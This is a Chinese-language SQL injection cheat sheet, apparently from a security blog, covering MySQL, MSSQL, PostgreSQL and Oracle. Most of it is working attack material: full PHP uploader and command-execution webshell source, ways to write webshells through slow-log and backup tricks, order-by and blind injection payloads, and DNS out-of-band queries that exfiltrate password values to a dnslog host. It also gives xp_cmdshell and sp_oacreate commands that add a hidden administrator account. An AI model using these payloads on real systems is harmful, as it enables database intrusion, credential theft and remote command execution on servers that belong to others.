• MySQL 注入写 shell


    • sqlmap --os-shell原理

      两部分构成,先写一个文件上传的接口
      <?php
      if (isset($_REQUEST["upload"]))
          {$dir=$_REQUEST["uploadDir"];
          if (phpversion()<'4.1.0')
              {
              $file=$HTTP_POST_FILES["file"]["name"];
              @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
              }
          else
              {
                  $file=$_FILES["file"]["name"];
                  @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
              }
          @chmod($dir."/".$file,0755);
          echo "File uploaded";}
      else {
          echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpstudy\\PHPTutorial\\WWW\\> <input type=submit name=upload value=upload></form>";
          }
      ?>
      

      然后尝试一下是否能访问,找到后就可以传马
      <?php 
      $c=$_REQUEST["cmd"];
      @set_time_limit(0);
      @ignore_user_abort(1);
      @ini_set("max_execution_time",0);
      $z=@ini_get("disable_functions");
      if(!empty($z)){
          $z=preg_replace("/[, ]+/",',',$z);
          $z=explode(',',$z);$z=array_map("trim",$z);
      }else{$z=array();}
      $c=$c." 2>&1\n";
      function f($n){
          global $z;
          return is_callable($n)and!in_array($n,$z);
      }
      if(f("system")){
          ob_start();system($c);
          $w=ob_get_clean();
      }
      elseif(f("proc_open")){
          $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
          $w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);
      }
          @proc_close($y);}
      elseif(f("shell_exec")){
          $w=shell_exec($c);
      }
      elseif(f("passthru")){
          ob_start();
          passthru($c);
          $w=ob_get_clean();
      }
      elseif(f("popen")){
          $x=popen($c,r);
          $w=NULL;
          if(is_resource($x)){
              while(!feof($x)){
                  $w.=fread($x,512);
                  }
          }
          @pclose($x);
      }
      elseif(f("exec")){
          $w=array();
          exec($c,$w);
          $w=join(chr(10),$w).chr(10);
      }else{$w=0;}
      echo"<pre>$w</pre>";?>
      
    • sql 注入写 shell

      前提条件:
      1.知道绝对路径(猜+爆破)
      2.远程目录有写权限
      3.数据库开启secure_file_priv
      4.mysql连接用户有FILE权限/ROOT用户/ROOT权限
      

      其中
      在 MySQL 5.5 之前 secure_file_priv 默认为空
      在 MySQL 5.5 之后 secure_file_priv 默认为NULL
      

      secure_file_priv效果
      NULL不允许导入导出
      可以读写,但是不能动态更改
      指定文件夹MySQL的导入导出只能发生在指定文件夹

      默认情况下写不进去。。。
    • 慢日志写shell

      查询时间超过慢日志要求查询时间的查询都会存入慢日志,如果把日志的查询路径改成木马文件,就可以使用恶意查询语句。
      规避了 secure_file_priv 的限制,但要去 mysql 连接用户有权限开启日志记录和更换日志路径
      # 1.查看当前慢查询日志目录
      show variables like "%slow%";
      # 2.开启慢查询日志的功能
      set global slow_query_log=on
      # 3.重新设置日志路径,注意设置为网站的绝对路径
      set global slow_query_log_file="指定的路径"   # 将日志路径设置为网站路径WWW下
      # 4.设置慢查询时间(构造查询大于慢日志纪录的时间)
      set global slow_launch_time=X   # X>original_slow_launch_time   # 有时候网络延迟,也会大于原来设置的时间,会记录不必要的信息,而设置大于原来时间或者及以上则可以排出这种干扰
      # 5.执行SQL语句,写webshell进日志文件
      select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);  
      
    • 堆叠注入写 shell

      通常 sql 注入有诸多限制,比如只能查不能增删改,不能更改数据库设置,而堆叠注入相当于获取了数据库密码进行直连,直接操作数据库
      MySQL中如果用的是mysqli pdo处理的话,有的可以堆叠,mssql+aspx是原生堆叠,Oracle要看代码层面是怎么写。
       MysqliPDOMySQL
      引入的PHP版本5.05.03.0之前
      PHP5.x是否包含
      服务端prepare语句的支持情况
      客户端prepare语句的支持情况
      存储过程支持情况
      多语句执行支持情况大多数
  • MySQL 注入读文件


    也是基于有路径的前提下,
    load_file() :读取指定文件(受 secure_file_priv 限制)
    load data infile 和 load data local infile,不受 secure-file-priv 的限制,但是需要堆叠。
    

    两者的不同:
    如果你没有给出local,则服务器按如下方法对其进行定位:
    1)如果你的filename为绝对路径,则服务器从根目录开始查找该文件.
    2)如果你的filename为相对路径,则服务器从数据库的数据目录中开始查找该文件.
    
    如果你给出了local,则文件将按以下方式进行定位:
    1)如果你的filename为绝对路径,则客户机从根目录开始查找该文件.
    2)如果你的filename为相对路径,则客户机从当前目录开始查找该文件.
    

    其中,load data local infile 的权限要看连接 mysql 服务器的客户端,任意读取客户端文件的原理就是执行了:
    load data local infile "/etc/passwd" into table test
    

    如果客户端是通过的mysql 客户端 对应的权限就是 mysq l的 如果是 php 的扩展可能就是 apache 的。
  • order by 注入


    首先要说一下这个技术存在的意义,目前主流防 sql 注入都是用参数化的方法(预编译),但是 order by 后面不能参数化,也很容易存在注入点(比如排序功能的位置)。本质原因是一方面预编译又只有自动加引号的 setString() 方法,没有不加引号的方法;而另一方面 order by后接的字段名不能有引号。那么进一步扩展一下:不只 order by,凡是字符串但又不能加引号的位置都不能参数化;包括sql关键字、库名表名字段名函数名。
    注入方式:
    报错注入:
    /?order=IF(1=2,1,(select+1+from+information_schema.tables))
    /?order=(select+1+regexp+if(1=2,1,0x00)
    /?order=updatexml(1,if(1=2,1,user()),1)
    /?order=extractvalue(1,if(1=2,1,user()))
    盲注:
    /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
    查询:
    /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00))
    
  • 配合 Dnslog


    在无法直接利用漏洞获得回显的情况下,通过发起 DNS 请求外带数据。提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生 DNS 查询,我们只要能获得 DNS 的日志,就得到了想要的值
    mysql:
    http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) 
    FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
    

    load_file 在 linux 下无法用 dnslog 攻击,因为 linux 中没有 UNC 路径 (\\)
    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
    

    mssql:
    http://127.0.0.1/mssql.php?id=1;
    DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
    FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
    EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
    

    postgresql:
    http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;
    CREATE TABLE table_output(content text);
    CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
    DECLARE query_result TEXT;
    BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
    exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';
       EXECUTE exec_cmd;
    END;
    $$ LANGUAGE plpgSQL SECURITY DEFINER;
    SELECT temp_function();
    

    或者用 db_link 扩展(但默认不开启)
    http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink; 
    SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb', 
    'SELECT version()') RETURNS (result TEXT);
    

    oracle:
    利用方式很多了:
    UTL_HTTP.REQUEST:
    select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
    DBMS_LDAP.INIT:
    select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
    HTTPURITYPE:
    select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
    
  • MSSQL 注入


    • 判断是否是 MSSQL

      报错:
      asp?id=49 and user>0
      系统表回显:(IIS 报错关闭)
      asp?id=49 and (select count() from sysobjects)>0
      asp?id=49 and (select count() from msysobjects)>0
      (如果第一条返回页面与原页面相同,第二条与原页面不同,几乎可以确定是MSSQL,否则便是Access)
      
    • 权限判断

      and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
      and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
      and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
      ;declae @d int //判断MsSQL支持多行语句查询
      and user>0 //获取当前数据库用户名
      and db_name()>0 //获取当前数据库名称
      and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
      and 1=(select @@servername) //本地服务名
      and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
      
    • 查询语句

      查库
      and 1=(select top 1 name from master..sysdatabases where dbid>4) //(>4 获取系统库 <4 获取用户库)
      and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘1’) //查询下一个数据库
      查表
      ?id=1 and 1=(select top 1 name from sysobjects where xtype=’U’ and name <> ‘threads’ and name <> ‘users’ )
      列名
      ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = ‘users’) and name <> ‘uname’ )
      拿数据
      ?id=1 and 1=(select top 1 uname from users)
      
    • 绕过
      引入一个 declare 函数,可以声明局部变量。declare 定义变量,set 设置变量值,exec 执行变量
      select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
      

      其中变量值可以进行 hex 或 ascii 编码,可以用这个特性绕过引号过滤
      select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
      
      select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--
      
  • MSSQL 注入拿 shell


    ( xp_cmdshell 在 SQLServer 2005 后默认设置为关闭,但对于 SA 权限的用户来说都可以恢复)
    存在堆叠注入的条件下用 xp_cmdshell 写 shell
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    

    然后直接可以执行命令
    EXEC master..xp_cmdshell’免杀powershell命令’
    

    如果 xp_cmdshell 被禁用的代替方法:
    恢复 sp_oacreate,并执行命令:
    EXEC sp_configure 'show advanced options', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'Ole Automation Procedures', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'show advanced options', 0;
    

    执行系统命令,没有回显,比如可以添加一个影子用户并加入管理员组
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
    

    调用 cmd 执行命令
    wscript.shell 执行命令
    
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'
    
    
    Shell.Application 执行命令
    
    declare @o int
    exec sp_oacreate 'Shell.Application', @o out
    exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
    

    删除或恢复 sp_addextendedproc
    / 删除 /
    drop procedure sp_addextendproc
    drop procedure sp_oacreate
    exec sp_addextendedproc
    / 恢复 /
    dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
    dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
    

    恢复 sp_oacreate 和 xp_cmdshell
    exec sp_addextendedproc xp_cmdshell , @dllname = ‘xplog70.dll’
    

    如果这两个函数都不能执行(存在杀软),可以尝试备份写 shell,但再设置目录权限后可能就不行了。在拿shell之前首先要找一波路径,大致思路:
    1.报错寻找
    2.字典
    3.旁站信息收集
    4.调用储存过程来搜索
    5.读配置文件
    

    其中,可以用 xp_cmdshellxp_dirtreexp_dirtreexp_subdirs 等函数找网站根目录(调用储存过程来搜索)
    execute master..xp_dirtree 'c:'       //列出所有 c:\ 文件和目录,子目录 
    execute master..xp_dirtree 'c:',1     //只列 c:\ 文件夹 
    execute master..xp_dirtree 'c:',1,1   //列 c:\ 文件夹加文件 
    

    如果没有回显的话可以插入一个临时的表:
    id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
    id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
    

    log备份写 shell

    • 前提条件:
      1.数据库存在注入
      2.用户具有读写权限,一般至少DBO权限
      3.有网站的具体路径
      4.站库不分离
      
    • 操作步骤:
      1.修改数据库为还原模式(恢复模式):
      ;alter database 库名 set RECOVERY FULL –-
      2.建表和字段
      ;create table moonflower(a image)--
      3.备份数据库
      ;backup log 数据库名 to disk = ‘c:\www\moonflower.bak’ with init –
      4.往表中写入一句话
      ;insert into orange(a) values (0x...)--    //值要进行hex进制转换下
      5.利用log备份到web的物理路径
      ;backup log 数据库名 to disk = 'c:\www\moonflower.php' with init--
      6.删除表
      ;Drop table moonflower--
      

    差异备份写shell
    第二次备份的时候会和上次备份的做对比,把不同的内容备份,所以只要插入一句话木马再备份,木马就会被写到数据库中。
    • 前提条件:
      1.有网站具体路径
      2.有可写权限(dbo权限以上)
      3.站库不分离
      
    • 步骤:
      1.备份数据库
      ;backup database 数据库名 to disk = 'C:\www\\...' with init --
      2.创建表格
      %';create table moonflower(a image) --
      3.写入webshell
      %';insert into orange(a) values (0xxxxx) --
      4.进行差异备份
      %';backup log 数据库名 to disk = 'C:\www\moonflower.asp'  WITH DIFFERENTIAL,FORMAT;--
      5.删除表
      ;Drop table moonflower--
      

     
  • 参考文献


标签: none

添加新评论